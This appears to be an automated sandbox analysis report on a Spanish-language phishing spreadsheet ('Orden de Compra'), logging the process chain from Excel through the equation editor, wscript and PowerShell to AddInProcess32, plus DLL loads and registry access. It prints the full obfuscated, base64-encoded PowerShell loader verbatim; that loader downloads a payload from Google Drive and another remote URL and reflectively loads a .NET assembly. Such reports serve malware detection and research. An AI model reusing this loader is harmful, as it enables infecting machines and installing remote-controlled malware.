Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Orden de Compra No. 78986756565344657.xlam.xlsx

ReversingLabs: Detection: 71%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Orden de Compra No. 78986756565344657.xlam.xlsx

Initial sample: OLE zip file path = xl/calcChain.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

